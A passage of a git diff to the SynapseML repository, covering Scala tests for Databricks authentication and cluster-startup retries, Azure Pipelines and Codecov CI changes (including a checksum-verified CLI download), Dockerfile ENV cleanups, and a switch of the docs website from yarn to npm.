config, + () => now + ) + + val first = cache.getValidHeaders() + now = now.plusSeconds(240) + assert(cache.getValidHeaders() === first) + assert(tokenRequests === 2) + + now = now.plusSeconds(120) + assert(cache.getValidHeaders() !== first) + assert(tokenRequests === 4) + } + + test("Reject invalid AAD configuration and tokens before caching") { + val now = Instant.parse("2026-07-24T12:00:00Z") + var tokenRequests = 0 + val invalidConfigCache = new DatabricksUtilities.AadHeaderCache( + _ => { + tokenRequests += 1 + ExpiringAccessToken("unused", now.plusSeconds(600)) + }, + () => throw new IllegalArgumentException("invalid workspace"), + () => now + ) + + intercept[IllegalArgumentException](invalidConfigCache.getValidHeaders()) + assert(tokenRequests === 0) + + val config = DatabricksUtilities.WorkspaceConfig( + DatabricksUtilities.AadWorkspaceHost, + DatabricksUtilities.AadWorkspaceResourceId + ) + val emptyTokenCache = new DatabricksUtilities.AadHeaderCache( + _ => { + tokenRequests += 1 + val value = if (tokenRequests == 1) " " else s"token-$tokenRequests" + ExpiringAccessToken(value, now.plusSeconds(600)) + }, + () => config, + () => now + ) + + val error = intercept[IllegalStateException](emptyTokenCache.getValidHeaders()) + assert(error.getMessage === "Databricks access token was empty") + + val headers = emptyTokenCache.getValidHeaders().toMap + assert(headers("Authorization") === "Bearer token-2") + assert(headers("X-Databricks-Azure-SP-Management-Token") === "token-3") + assert(tokenRequests === 3) + } + + test("Select authentication without evaluating unused credential paths") { + val aadHeaders = Seq("Authorization" -> "Bearer aad") + val patHeaders = Seq("Authorization" -> "Basic pat") + + assert(DatabricksUtilities.selectAuthHeaders( + DatabricksUtilities.AadAuthType, + aadHeaders, + throw new IllegalStateException("PAT headers should not be evaluated") + ) === aadHeaders) + assert(DatabricksUtilities.selectAuthHeaders( + DatabricksUtilities.PatAuthType, + throw new IllegalStateException("AAD headers should not be evaluated"), + patHeaders + ) === patHeaders) + assert(DatabricksUtilities.workspaceHost( + DatabricksUtilities.PatAuthType, + throw new IllegalStateException("AAD workspace should not be evaluated") + ) === s"${DatabricksUtilities.Region}.azuredatabricks.net") + + intercept[IllegalArgumentException] { + DatabricksUtilities.selectAuthHeaders("unsupported", aadHeaders, patHeaders) + } + intercept[IllegalArgumentException] { + DatabricksUtilities.workspaceHost("unsupported", DatabricksUtilities.AadWorkspaceHost) + } + } + + test("Disable redirects without dropping request timeouts") { + val request = new HttpGet("https://example.com") + + DatabricksUtilities.disableRedirects(request) + + assert(!request.getConfig.isRedirectsEnabled) + assert(request.getConfig.getConnectTimeout === RESTHelpers.RequestConfigVal.getConnectTimeout) + assert(request.getConfig.getConnectionRequestTimeout === + RESTHelpers.RequestConfigVal.getConnectionRequestTimeout) + assert(request.getConfig.getSocketTimeout === RESTHelpers.RequestConfigVal.getSocketTimeout) + } + + test("Use separate worker and driver pools for GPU clusters") { + val initScripts = """[{"dbfs":{"destination":"dbfs:/init.sh"}}]""" + val request = DatabricksUtilities.createClusterRequest( + "gpu-cluster", + "gpu-runtime", + 2, + "gpu-pool", + initScripts = initScripts, + driverInstancePoolId = Some("cpu-pool") + ).parseJson.asJsObject + + assert(request.fields("instance_pool_id").convertTo[String] === "gpu-pool") + assert(request.fields("driver_instance_pool_id").convertTo[String] === "cpu-pool") + assert(request.fields("init_scripts") === initScripts.parseJson) + } + + test("Omit separate driver pool by default") { + val request = DatabricksUtilities.createClusterRequest( + "cpu-cluster", + "cpu-runtime", + 5, + "cpu-pool" + ).parseJson.asJsObject + + assert(!request.fields.contains("driver_instance_pool_id")) + } + + test("Parse Databricks cluster termination details") { + val status = DatabricksClusterStartup.parseClusterStatus( + """ + |{ + | "state": "TERMINATED", + | "state_message": "Azure does not have available GPU instances.", + | "termination_reason": { + | "code": "CLOUD_PROVIDER_RESOURCE_STOCKOUT" + | } + |} + |""".stripMargin.parseJson) + + assert(status === DatabricksClusterStartup.ClusterStatus( + "TERMINATED", + Some("CLOUD_PROVIDER_RESOURCE_STOCKOUT"), + Some("Azure does not have available GPU instances.") + )) + } + + test("Fail cluster startup immediately on a terminal state") { + val failure = intercept[DatabricksClusterStartup.ClusterStartupException] { + DatabricksClusterStartup.waitForClusterActive( + "cluster-1", + _ => DatabricksClusterStartup.ClusterStatus( + "TERMINATED", + Some("CLOUD_PROVIDER_RESOURCE_STOCKOUT"), + Some("No GPU capacity") + ), + Seq(0), + _ => () + ) + } + + assert(failure.isRetriable) + assert(failure.getMessage.contains("CLOUD_PROVIDER_RESOURCE_STOCKOUT")) + assert(failure.getMessage.contains("No GPU capacity")) + } + + test("Retry only stockout cluster failures and reduce GPU workers") { + val createdAttempts = mutable.ArrayBuffer.empty[Int] + val cleanedClusters = mutable.ArrayBuffer.empty[String] + val result = DatabricksClusterStartup.createActiveCluster( + attempt => { + createdAttempts += attempt + s"cluster-$attempt" + }, + clusterId => { + if (clusterId == "cluster-1") { + throw new DatabricksClusterStartup.ClusterStartupException( + clusterId, + DatabricksClusterStartup.ClusterStatus( + "TERMINATED", + Some("CLOUD_PROVIDER_RESOURCE_STOCKOUT") + ) + ) + } + }, + clusterId => cleanedClusters += clusterId, + retryDelayMs = 0, + sleep = _ => () + ) + + assert(result === "cluster-2") + assert(createdAttempts === Seq(1, 2)) + assert(cleanedClusters === Seq("cluster-1")) + assert(DatabricksClusterStartup.gpuWorkerCount(1) === 2) + assert(DatabricksClusterStartup.gpuWorkerCount(2) === 1) + assert(DatabricksClusterStartup.gpuWorkerCount(3) === 1) + } + + test("Do not retry non-stockout cluster failures") { + val createdAttempts = mutable.ArrayBuffer.empty[Int] + val failure = intercept[DatabricksClusterStartup.ClusterStartupException] { + DatabricksClusterStartup.createActiveCluster( + attempt => { + createdAttempts += attempt + s"cluster-$attempt" + }, + clusterId => throw new DatabricksClusterStartup.ClusterStartupException( + clusterId, + DatabricksClusterStartup.ClusterStatus("TERMINATED", Some("DRIVER_UNREACHABLE")) + ), + _ => (), + retryDelayMs = 0, + sleep = _ => () + ) + } + + assert(!failure.isRetriable) + assert(createdAttempts === Seq(1)) + } + + test("Continue stockout retries when failed-cluster cleanup fails") { + val result = DatabricksClusterStartup.createActiveCluster( + attempt => s"cluster-$attempt", + clusterId => { + if (clusterId == "cluster-1") { + throw new DatabricksClusterStartup.ClusterStartupException( + clusterId, + DatabricksClusterStartup.ClusterStatus( + "TERMINATED", + Some("CLOUD_PROVIDER_RESOURCE_STOCKOUT") + ) + ) + } + }, + _ => throw new java.io.IOException("cleanup API unavailable"), + retryDelayMs = 0, + sleep = _ => () + ) + + assert(result === "cluster-2") + } + + test("Clean up timed-out clusters without retrying them") { + val createdAttempts = mutable.ArrayBuffer.empty[Int] + val cleanedClusters = mutable.ArrayBuffer.empty[String] + intercept[java.util.concurrent.TimeoutException] { + DatabricksClusterStartup.createActiveCluster( + attempt => { + createdAttempts += attempt + s"cluster-$attempt" + }, + _ => throw new java.util.concurrent.TimeoutException("cluster stayed pending"), + clusterId => cleanedClusters += clusterId, + retryDelayMs = 0, + sleep = _ => () + ) + } + + assert(createdAttempts === Seq(1)) + assert(cleanedClusters === Seq("cluster-1")) + } + + test("Select all GPU notebooks in deterministic order") { + val notebookNames = DatabricksUtilities.GPUNotebooks.map(_.getName) + + assert(notebookNames === Seq( + "Quickstart - Apply Phi Model with HuggingFace CausalLM.ipynb", + "Quickstart - Fine-tune a Text Classifier.ipynb", + "Quickstart - Fine-tune a Vision Classifier.ipynb" + )) + } +} diff --git a/pipeline.yaml b/pipeline.yaml index b516420612c..1f03bf29ebe 100644 --- a/pipeline.yaml +++ b/pipeline.yaml @@ -168,10 +168,14 @@ jobs: - job: DatabricksE2E displayName: 'Databricks E2E' condition: eq('${{ parameters.testDatabricksE2E }}', true) - timeoutInMinutes: 120 + timeoutInMinutes: 180 cancelTimeoutInMinutes: 0 pool: vmImage: $(UBUNTU_VERSION) + variables: + MML_ADB_AUTH_TYPE: "aad" + MML_ADB_WORKSPACE_HOST: "adb-1885762835647850.10.azuredatabricks.net" + MML_ADB_WORKSPACE_RESOURCE_ID: "/subscriptions/e342c2c0-f844-4b18-9208-52c8c234c30e/resourceGroups/marhamil-mmlspark/providers/Microsoft.Databricks/workspaces/synapseml-build-adb" strategy: matrix: databricks-cpu-1: @@ -184,12 +188,8 @@ jobs: TEST-CLASS: "com.microsoft.azure.synapse.ml.nbtest.DatabricksCPUTests4" databricks-cpu-5: TEST-CLASS: "com.microsoft.azure.synapse.ml.nbtest.DatabricksCPUTests5" - databricks-gpu-1: - TEST-CLASS: "com.microsoft.azure.synapse.ml.nbtest.DatabricksGPUTests1" - databricks-gpu-2: - TEST-CLASS: "com.microsoft.azure.synapse.ml.nbtest.DatabricksGPUTests2" - databricks-gpu-3: - TEST-CLASS: "com.microsoft.azure.synapse.ml.nbtest.DatabricksGPUTests3" + databricks-gpu: + TEST-CLASS: "com.microsoft.azure.synapse.ml.nbtest.DatabricksGPUTests" # databricks-rapids tests have been disabled because these tests are failing. # This test will be re-enabled once the issue is fixed. # databricks-rapids: @@ -274,57 +274,57 @@ jobs: - task: Docker@2 displayName: Demo Image Build inputs: - command: 'build' - buildContext: "." - Dockerfile: 'tools/docker/demo/Dockerfile' - arguments: --build-arg SYNAPSEML_VERSION=$(version) -t mmlspark-demo:$(version) + command: build + repository: mmlspark-demo + Dockerfile: tools/docker/demo/Dockerfile + buildContext: $(Build.SourcesDirectory) + arguments: --quiet --build-arg SYNAPSEML_VERSION=$(version) + tags: | + $(version) + addPipelineData: true + addBaseImageData: true - task: Docker@2 displayName: Minimal Image Build inputs: - command: 'build' - buildContext: "." - Dockerfile: 'tools/docker/minimal/Dockerfile' - arguments: --build-arg SYNAPSEML_VERSION=$(version) -t mmlspark-minimal:$(version) - # Push demo and minimal on every master build - - bash: | - set -e - docker tag mmlspark-demo:$(version) mmlsparkmcr.azurecr.io/public/mmlspark/build-demo:$(version) - docker tag mmlspark-minimal:$(version) mmlsparkmcr.azurecr.io/public/mmlspark/build-minimal:$(version) - condition: and(eq(variables.isMaster, true), eq('${{ parameters.publishDockerImages }}', true)) - displayName: Tag Dev Images for ACR - - task: Docker@2 - condition: and(eq(variables.isMaster, true), eq('${{ parameters.publishDockerImages }}', true)) - displayName: Demo Image Push - inputs: - containerRegistry: 'SynapseML MCR' - repository: 'public/mmlspark/build-demo' - command: 'push' - tags: $(version) - - task: Docker@2 + command: build + repository: mmlspark-minimal + Dockerfile: tools/docker/minimal/Dockerfile + buildContext: $(Build.SourcesDirectory) + arguments: --quiet --build-arg SYNAPSEML_VERSION=$(version) + tags: | + $(version) + addPipelineData: true + addBaseImageData: true + # Push demo and minimal when Docker publishing is enabled on master + - task: AzureCLI@2 condition: and(eq(variables.isMaster, true), eq('${{ parameters.publishDockerImages }}', true)) - displayName: Minimal Image Push + displayName: Push Dev Images to ACR inputs: - containerRegistry: 'SynapseML MCR' - repository: 'public/mmlspark/build-minimal' - command: 'push' - tags: $(version) + azureSubscription: 'SynapseML Build' + scriptLocation: inlineScript + scriptType: bash + inlineScript: | + set -e + az acr login --name mmlsparkmcr + docker tag mmlspark-demo:$(version) mmlsparkmcr.azurecr.io/public/mmlspark/build-demo:$(version) + docker tag mmlspark-minimal:$(version) mmlsparkmcr.azurecr.io/public/mmlspark/build-minimal:$(version) + docker push mmlsparkmcr.azurecr.io/public/mmlspark/build-demo:$(version) + docker push mmlsparkmcr.azurecr.io/public/mmlspark/build-minimal:$(version) # Push release only on tagged releases - - bash: | - set -e - docker tag mmlspark-demo:$(version) mmlsparkmcr.azurecr.io/public/mmlspark/release:$(version) - docker tag mmlspark-demo:$(version) mmlsparkmcr.azurecr.io/public/mmlspark/release:latest - condition: and(eq('${{ parameters.publishDockerImages }}', true), eq(variables.isMaster, true), startsWith(variables['gittag'], 'v')) - displayName: Tag Release Image for ACR - - task: Docker@2 + - task: AzureCLI@2 condition: and(eq('${{ parameters.publishDockerImages }}', true), eq(variables.isMaster, true), startsWith(variables['gittag'], 'v')) - displayName: Release Image Push + displayName: Push Release Image to ACR inputs: - containerRegistry: 'SynapseML MCR' - repository: 'public/mmlspark/release' - command: 'push' - tags: | - $(version) - latest + azureSubscription: 'SynapseML Build' + scriptLocation: inlineScript + scriptType: bash + inlineScript: | + set -e + az acr login --name mmlsparkmcr + docker tag mmlspark-demo:$(version) mmlsparkmcr.azurecr.io/public/mmlspark/release:$(version) + docker tag mmlspark-demo:$(version) mmlsparkmcr.azurecr.io/public/mmlspark/release:latest + docker push mmlsparkmcr.azurecr.io/public/mmlspark/release:$(version) + docker push mmlsparkmcr.azurecr.io/public/mmlspark/release:latest - task: ComponentGovernanceComponentDetection@0 - ${{ if eq(parameters.publishRelease, true) }}: @@ -363,6 +363,7 @@ jobs: - task: Cache@2 displayName: Use cached Anaconda environment condition: and(eq(variables.isMaster, true), startsWith(variables['tag'], 'v')) + continueOnError: true inputs: key: 'conda | "$(Agent.OS)" | environment.yml' restoreKeys: | @@ -371,8 +372,10 @@ jobs: path: $(CONDA_CACHE_DIR) cacheHitVar: CONDA_CACHE_RESTORED - bash: | - conda env create --force -f environment.yml -v - condition: and(eq(variables.isMaster, true), and(startsWith(variables['tag'], 'v'), eq(variables.CONDA_CACHE_RESTORED, 'false'))) + set -e + conda env remove --name synapseml --yes || true + conda env create --yes -f environment.yml -v + condition: and(eq(variables.isMaster, true), and(startsWith(variables['tag'], 'v'), ne(variables.CONDA_CACHE_RESTORED, 'true'))) displayName: Create Anaconda environment - task: AzureKeyVault@2 condition: and(eq(variables.isMaster, true), startsWith(variables['tag'], 'v')) @@ -700,6 +703,10 @@ jobs: FLAKY: "true" core: PACKAGE: "core" + TEST_CLASSES: >- + com.microsoft.azure.synapse.ml.core.** + com.microsoft.azure.synapse.ml.SecretsSuite + com.microsoft.azure.synapse.ml.nbtest.DatabricksUtilitiesSuite explainers1: PACKAGE: "explainers.split1" explainers2: @@ -800,8 +807,15 @@ jobs: scriptType: bash inlineScript: 'sbt coverageReport' condition: and(succeededOrFailed(), eq(variables.runCoverage, true)) - - template: templates/kv.yml - ${{ if or(eq(variables['Build.Reason'], 'PullRequest'), eq(variables['Build.SourceBranch'], 'refs/heads/master'), startsWith(variables['Build.SourceBranch'], 'refs/tags/')) }}: + - task: AzureKeyVault@2 + displayName: Load Codecov token + condition: succeededOrFailed() + retryCountOnTaskFailure: 3 + inputs: + azureSubscription: 'SynapseML Build' + keyVaultName: mmlspark-keys + SecretsFilter: codecov-token - template: templates/codecov.yml - job: ReleaseBranchCompat diff --git a/project/CodegenPlugin.scala b/project/CodegenPlugin.scala index 2395ec49266..1e120cae2d5 100644 --- a/project/CodegenPlugin.scala +++ b/project/CodegenPlugin.scala @@ -78,6 +78,8 @@ object CodegenPlugin extends AutoPlugin { val packagePython = TaskKey[Unit]("packagePython", "Package python sdk") val installPipPackage = TaskKey[Unit]("installPipPackage", "install python sdk") + val preparePythonTests = TaskKey[Unit]("preparePythonTests", + "install local python packages required by tests") val removePipPackage = TaskKey[Unit]("removePipPackage", "remove the installed synapseml pip package from local env") @@ -300,8 +302,20 @@ object CodegenPlugin extends AutoPlugin { pyCodegen := pyCodeGenImpl.value, pythonIgnoreTestPath := sys.props.get("pythonIgnoreTestPath"), pythonSubTestPath := sys.props.get("pythonSubTestPath"), + preparePythonTests := Def.taskDyn { + if (thisProjectRef.value.project == "core") { + Def.task { + installPipPackage.value + } + } else { + Def.sequential( + LocalProject("core") / installPipPackage, + installPipPackage + ) + } + }.value, testPython := { - installPipPackage.value + preparePythonTests.value pyTestgen.value val mainTargetDir = join(baseDirectory.value.getParent, "target") val baseTestPath = genTestPackageNamespace.value diff --git a/project/Secrets.scala b/project/Secrets.scala index 17e469dfc14..b5ed7c2d4d7 100644 --- a/project/Secrets.scala +++ b/project/Secrets.scala @@ -152,7 +152,7 @@ object Secrets { def getSecret(env_var: String, name: String): String = { if (publishingEnabled) findAndCacheSecret(env_var, name) else { - println(s"[warn] Secret $name not downloaded. Set $EnablePublishEnvVar=true to enable publishing.") + println(s"[info] Secret $name not downloaded. Set $EnablePublishEnvVar=true to enable publishing.") "" } } @@ -160,7 +160,7 @@ object Secrets { def getPgpSecretFile(name: String, env_var: String): File = { if (publishingEnabled) getOrCreatePgpSecretFile(name, env_var) else { - println(s"[warn] Secret $name not downloaded. Set $EnablePublishEnvVar=true to enable publishing.") + println(s"[info] Secret $name not downloaded. Set $EnablePublishEnvVar=true to enable publishing.") new File("") } } diff --git a/scripts/bump-version.py b/scripts/bump-version.py index d8b90b397f8..58d570a4bb8 100755 --- a/scripts/bump-version.py +++ b/scripts/bump-version.py @@ -328,7 +328,7 @@ def _run_docusaurus(root, new_v, dry_run): print(" Cannot create versioned docs snapshot.", file=sys.stderr) return False - cmd = ["yarn", "run", "docusaurus", "docs:version", new_v] + cmd = ["npm", "exec", "--", "docusaurus", "docs:version", new_v] if dry_run: print(f"[DRY RUN] Would run: {' '.join(cmd)} (in {website})") return True @@ -580,14 +580,14 @@ def main(): print("Version strings updated but convertNotebooks failed.") print("Fix the build issue, then run manually:") print(" sbt convertNotebooks") - print(" yarn --cwd website run docusaurus docs:version " + new_v) + print(" npm --prefix website exec -- docusaurus docs:version " + new_v) sys.exit(1) if not _run_docusaurus(root, new_v, dry_run=False): print( "Version strings updated and docs generated, but versioning failed." ) print( - "Run manually: yarn --cwd website run docusaurus docs:version " + "Run manually: npm --prefix website exec -- docusaurus docs:version " + new_v ) sys.exit(1) diff --git a/scripts/test_bump_version.py b/scripts/test_bump_version.py index 7dad32d3395..35571a72120 100644 --- a/scripts/test_bump_version.py +++ b/scripts/test_bump_version.py @@ -394,6 +394,46 @@ def test_all_allowed_extensions(self, ext): assert not _skip_file(Path(f"test{ext}")) +# ══════════════════════════════════════════════════════════════════════════════ +# Docusaurus versioning command +# ══════════════════════════════════════════════════════════════════════════════ + + +class TestRunDocusaurus: + def test_uses_local_npm_binary(self, tmp_path, monkeypatch): + website = tmp_path / "website" + (website / "docs").mkdir(parents=True) + calls = [] + + def fake_run(cmd, **kwargs): + calls.append((cmd, kwargs)) + return subprocess.CompletedProcess(cmd, 0, stdout="", stderr="") + + monkeypatch.setattr(subprocess, "run", fake_run) + + assert bump._run_docusaurus(tmp_path, "2.0.0", dry_run=False) + assert calls == [ + ( + ["npm", "exec", "--", "docusaurus", "docs:version", "2.0.0"], + { + "cwd": str(website), + "capture_output": True, + "text": True, + }, + ) + ] + + def test_requires_generated_docs(self, tmp_path, monkeypatch): + (tmp_path / "website").mkdir() + + def fail_if_called(*args, **kwargs): + raise AssertionError("subprocess should not run without generated docs") + + monkeypatch.setattr(subprocess, "run", fail_if_called) + + assert not bump._run_docusaurus(tmp_path, "2.0.0", dry_run=False) + + # ══════════════════════════════════════════════════════════════════════════════ # 6. Integration Tests — End-to-end with temp directory # ══════════════════════════════════════════════════════════════════════════════ diff --git a/templates/codecov.yml b/templates/codecov.yml index 8a43a9c1fe2..13d921d1191 100644 --- a/templates/codecov.yml +++ b/templates/codecov.yml @@ -1,11 +1,23 @@ steps: - bash: | - set -e - curl -Os https://cli.codecov.io/latest/linux/codecov - chmod +x codecov + set -euo pipefail + temp_dir="${AGENT_TEMPDIRECTORY:-${TMPDIR:-/tmp}}" + codecov_path="$(mktemp "${temp_dir%/}/codecov.XXXXXX")" + trap 'rm -f "$codecov_path"' EXIT + curl --fail --silent --show-error --location --retry 3 \ + --proto '=https' --tlsv1.2 \ + --output "$codecov_path" \ + "https://cli.codecov.io/${CODECOV_VERSION}/linux/codecov" + printf '%s %s\n' "$CODECOV_SHA256" "$codecov_path" | + sha256sum --check --strict + chmod +x "$codecov_path" echo "Starting Codecov Upload" - ./codecov --verbose upload-process -t $(codecov-token) --dir . - echo "Codecov Upload Complete" # Ensure that uploading failure does not stop the pipeline + "$codecov_path" --verbose upload-process --dir . + echo "Codecov Upload Complete" + env: + CODECOV_TOKEN: $(codecov-token) + CODECOV_VERSION: v11.3.1 + CODECOV_SHA256: ca1d64196d2d34771084afe76ea657d581bf628e31d993ff8e52ea09cc88a56d retryCountOnTaskFailure: 1 displayName: Upload Coverage Report To Codecov.io condition: succeededOrFailed() diff --git a/templates/conda.yml b/templates/conda.yml index a5df8495adf..cce01c8d364 100644 --- a/templates/conda.yml +++ b/templates/conda.yml @@ -15,6 +15,7 @@ steps: cacheHitVar: CONDA_CACHE_RESTORED timeoutInMinutes: 20 retryCountOnTaskFailure: 1 + continueOnError: true - bash: | echo "=== Disk space BEFORE cleanup ===" df -h / | grep -E 'Filesystem|/$' @@ -29,12 +30,13 @@ steps: - bash: | set -e df -H + conda env remove --name synapseml --yes || true (timeout 30m conda env create --yes -f environment.yml -v) || (timeout 30m conda env create --yes -f environment.yml -v) conda clean --all -y pip cache purge displayName: Create Anaconda environment retryCountOnTaskFailure: 1 - condition: eq(variables.CONDA_CACHE_RESTORED, 'false') + condition: ne(variables.CONDA_CACHE_RESTORED, 'true') - bash: | df -H displayName: Check space diff --git a/templates/publish.yml b/templates/publish.yml index 344753e9077..b32d117ce8c 100644 --- a/templates/publish.yml +++ b/templates/publish.yml @@ -1,6 +1,7 @@ steps: - task: AzureCLI@2 displayName: 'Publish Artifacts' + retryCountOnTaskFailure: 4 inputs: azureSubscription: 'SynapseML Build' scriptLocation: inlineScript diff --git a/templates/update_cli.yml b/templates/update_cli.yml index 2eedbaecfee..b767679a707 100644 --- a/templates/update_cli.yml +++ b/templates/update_cli.yml @@ -1,12 +1,13 @@ steps: - task: UsePythonVersion@0 inputs: - versionSpec: '3.8' + versionSpec: '3.11' architecture: 'x64' + disableDownloadFromRegistry: true - task: JavaToolInstaller@0 inputs: versionSpec: '8' jdkArchitectureOption: 'x64' jdkSourceOption: 'PreInstalled' - - bash: pip install azure-cli==2.60.0 - displayName: 'Upgrade Azure CLI' + - bash: python -m pip install azure-cli==2.88.0 + displayName: 'Install Azure CLI' diff --git a/tools/docker/demo/Dockerfile b/tools/docker/demo/Dockerfile index 95dc1ccf2e8..fba618e5b60 100644 --- a/tools/docker/demo/Dockerfile +++ b/tools/docker/demo/Dockerfile @@ -6,7 +6,7 @@ ARG DEBIAN_FRONTEND=noninteractive ENV SPARK_VERSION=3.5.4 ENV HADOOP_VERSION=3 ENV SYNAPSEML_VERSION=${SYNAPSEML_VERSION} -ENV JAVA_HOME /usr/lib/jvm/java-1.11.0-openjdk-amd64 +ENV JAVA_HOME=/usr/lib/jvm/java-1.11.0-openjdk-amd64 # Install required packages RUN apt-get -qq update \ @@ -34,7 +34,7 @@ RUN curl -sSL https://repo.anaconda.com/miniconda/Miniconda3-latest-Linux-x86_64 && pip install --upgrade "PyJWT>=2.12.0" \ && conda clean --all --yes -ENV PATH /usr/local/bin:$PATH +ENV PATH=/usr/local/bin:${PATH} # Download and install Spark RUN wget https://archive.apache.org/dist/spark/spark-${SPARK_VERSION}/spark-${SPARK_VERSION}-bin-hadoop${HADOOP_VERSION}.tgz \ @@ -57,9 +57,9 @@ RUN cd /opt/spark/jars \ curl -fsSLO "https://repo1.maven.org/maven2/io/netty/netty-transport-native-kqueue/${NETTY_VERSION}/netty-transport-native-kqueue-${NETTY_VERSION}-${cls}.jar"; \ done -ENV SPARK_HOME /opt/spark -ENV PYTHONPATH $SPARK_HOME/python/:$SPARK_HOME/python/lib/py4j*:$PYTHON_PATH -ENV PATH $SPARK_HOME/bin/:$SPARK_HOME/python/:$PATH +ENV SPARK_HOME=/opt/spark +ENV PYTHONPATH=${SPARK_HOME}/python/:${SPARK_HOME}/python/lib/py4j* +ENV PATH=${SPARK_HOME}/bin/:${SPARK_HOME}/python/:${PATH} RUN apt-get remove --purge -y \ curl \ @@ -80,7 +80,7 @@ RUN jupyter-notebook --generate-config \ # Copy the init script for jupyter startup. COPY tools/docker/demo/init_notebook.py /root/.ipython/profile_default/startup/init_notebook.py COPY docs docs -WORKDIR docs +WORKDIR /docs # Jupyter Notebook UI EXPOSE 8888 diff --git a/tools/docker/minimal/Dockerfile b/tools/docker/minimal/Dockerfile index ff2d9b63d3b..9a8530aa27d 100644 --- a/tools/docker/minimal/Dockerfile +++ b/tools/docker/minimal/Dockerfile @@ -6,7 +6,7 @@ ARG DEBIAN_FRONTEND=noninteractive ENV SPARK_VERSION=3.5.4 ENV HADOOP_VERSION=3 ENV SYNAPSEML_VERSION=${SYNAPSEML_VERSION} -ENV JAVA_HOME /usr/lib/jvm/java-1.11.0-openjdk-amd64 +ENV JAVA_HOME=/usr/lib/jvm/java-1.11.0-openjdk-amd64 # Install required packages RUN apt-get -qq update \ @@ -34,7 +34,7 @@ RUN curl -sSL https://repo.anaconda.com/miniconda/Miniconda3-latest-Linux-x86_64 && pip install --upgrade "PyJWT>=2.12.0" \ && conda clean --all --yes -ENV PATH /usr/local/bin:$PATH +ENV PATH=/usr/local/bin:${PATH} # Download and install Spark RUN wget https://archive.apache.org/dist/spark/spark-${SPARK_VERSION}/spark-${SPARK_VERSION}-bin-hadoop${HADOOP_VERSION}.tgz \ @@ -42,9 +42,9 @@ RUN wget https://archive.apache.org/dist/spark/spark-${SPARK_VERSION}/spark-${SP && mv spark-${SPARK_VERSION}-bin-hadoop${HADOOP_VERSION} /opt/spark \ && rm spark-${SPARK_VERSION}-bin-hadoop${HADOOP_VERSION}.tgz -ENV SPARK_HOME /opt/spark -ENV PYTHONPATH $SPARK_HOME/python/:$SPARK_HOME/python/lib/py4j*:$PYTHON_PATH -ENV PATH $SPARK_HOME/bin/:$SPARK_HOME/python/:$PATH +ENV SPARK_HOME=/opt/spark +ENV PYTHONPATH=${SPARK_HOME}/python/:${SPARK_HOME}/python/lib/py4j* +ENV PATH=${SPARK_HOME}/bin/:${SPARK_HOME}/python/:${PATH} RUN apt-get remove --purge -y \ curl \ diff --git a/website/README.md b/website/README.md index e1299a266ff..2c5ffd8f124 100644 --- a/website/README.md +++ b/website/README.md @@ -1,33 +1,33 @@ # Website -This website is built using [Docusaurus 2](https://v2.docusaurus.io/), a modern static website generator. +This website is built using [Docusaurus 3](https://docusaurus.io/), a modern static website generator. ### Installation -``` -$ yarn +```bash +npm ci ``` ### Local Development -``` -$ yarn start +```bash +npm start ``` This command starts a local development server and opens up a browser window. Most changes are reflected live without having to restart the server. ### Build -``` -$ yarn build +```bash +npm run build ``` This command generates static content into the `build` directory and can be served using any static contents hosting service. ### Deployment -``` -$ GIT_USER= USE_SSH=true yarn deploy +```bash +GIT_USER= USE_SSH=true npm run deploy ``` If you're using GitHub pages for hosting, this command is a convenient way to build the website and push to the `gh-pages` branch. @@ -36,9 +36,9 @@ If you're using GitHub pages for hosting, this command is a convenient way to bu ### Adding a new versioned docs section To add a version to the docs like `0.9.5` from the `website` directory -``` +```bash cd ../ sbt convertNotebooks cd website -yarn run docusaurus docs:version 0.9.5` -```` +npm exec -- docusaurus docs:version 0.9.5 +``` diff --git a/website/blog/overview.md b/website/blog/overview.md index 09ea6eb8110..0a7e303267d 100644 --- a/website/blog/overview.md +++ b/website/blog/overview.md @@ -10,6 +10,8 @@ import useBaseUrl from "@docusaurus/useBaseUrl"; SynapseML (previously known as MMLSpark), is an open-source library that simplifies the creation of massively scalable machine learning (ML) pipelines. SynapseML provides simple, composable, and distributed APIs for a wide variety of different machine learning tasks such as text analytics, vision, anomaly detection, and many others. SynapseML is built on the [Apache Spark distributed computing framework](https://spark.apache.org/) and shares the same API as the [SparkML/MLLib library](https://spark.apache.org/mllib/), allowing you to seamlessly embed SynapseML models into existing Apache Spark workflows. +{/* truncate */} + With SynapseML, you can build scalable and intelligent systems to solve challenges in domains such as anomaly detection, computer vision, deep learning, text analytics, and others. SynapseML can train and evaluate models on single-node, multi-node, and elastically resizable clusters of computers. This lets you scale your work without wasting resources. SynapseML is usable across Python, R, Scala, Java, and .NET. Furthermore, its API abstracts over a wide variety of databases, file systems, and cloud data stores to simplify experiments no matter where data is located. SynapseML requires Scala 2.12, Spark 3.2+, and Python 3.8+. diff --git a/website/doctest.py b/website/doctest.py index 6e2fcaeebfc..7a704e4641c 100644 --- a/website/doctest.py +++ b/website/doctest.py @@ -1,6 +1,10 @@ +# Copyright (C) Microsoft Corporation. All rights reserved. +# Licensed under the MIT License. See LICENSE in project root for information. + import io import os import re +import subprocess import sys @@ -60,10 +64,17 @@ def main(version): folder = os.path.join(cur_path, "docs", "Quick Examples") iterate_over_documentation(folder, version) os.chdir(folder) - os.system( - "pytest --codeblocks --junit-xml={}".format( - os.path.join(cur_path, "target", "website-test-result.xml"), - ), + subprocess.run( + [ + sys.executable, + "-m", + "pytest", + "--codeblocks", + "--junit-xml={}".format( + os.path.join(cur_path, "target", "website-test-result.xml"), + ), + ], + check=True, ) diff --git a/website/docusaurus.config.js b/website/docusaurus.config.js index f5f29bf49ce..afcd64d1808 100644 --- a/website/docusaurus.config.js +++ b/website/docusaurus.config.js @@ -1,13 +1,16 @@ -const math = require('remark-math') -const katex = require('rehype-katex') const path = require('path'); +const preprocessLegacyMarkdown = require('./legacyMarkdownPreprocessor'); let version = "1.1.3"; -module.exports = { +module.exports = async function createConfigAsync() { + return { title: 'SynapseML', tagline: 'Simple and Distributed Machine Learning', url: 'https://microsoft.github.io', baseUrl: '/SynapseML/', + markdown: { + preprocessor: preprocessLegacyMarkdown, + }, favicon: 'img/favicon.ico', organizationName: 'microsoft', projectName: 'SynapseML', @@ -17,8 +20,8 @@ module.exports = { }, stylesheets: [ { - href: "https://cdn.jsdelivr.net/npm/katex@0.13.11/dist/katex.min.css", - integrity: "sha384-Um5gpz1odJg5Z4HAmzPtgZKdTBHZdw8S29IecapCSB31ligYPhHQZMIlWLYQGVoc", + href: "https://cdn.jsdelivr.net/npm/katex@0.16.22/dist/katex.min.css", + integrity: "sha384-5TcZemv2l/9On385z///+d7MSYlvIEw9FuZTIdZ14vJLqWphw7e7ZPuOiCHJcFCP", crossorigin: 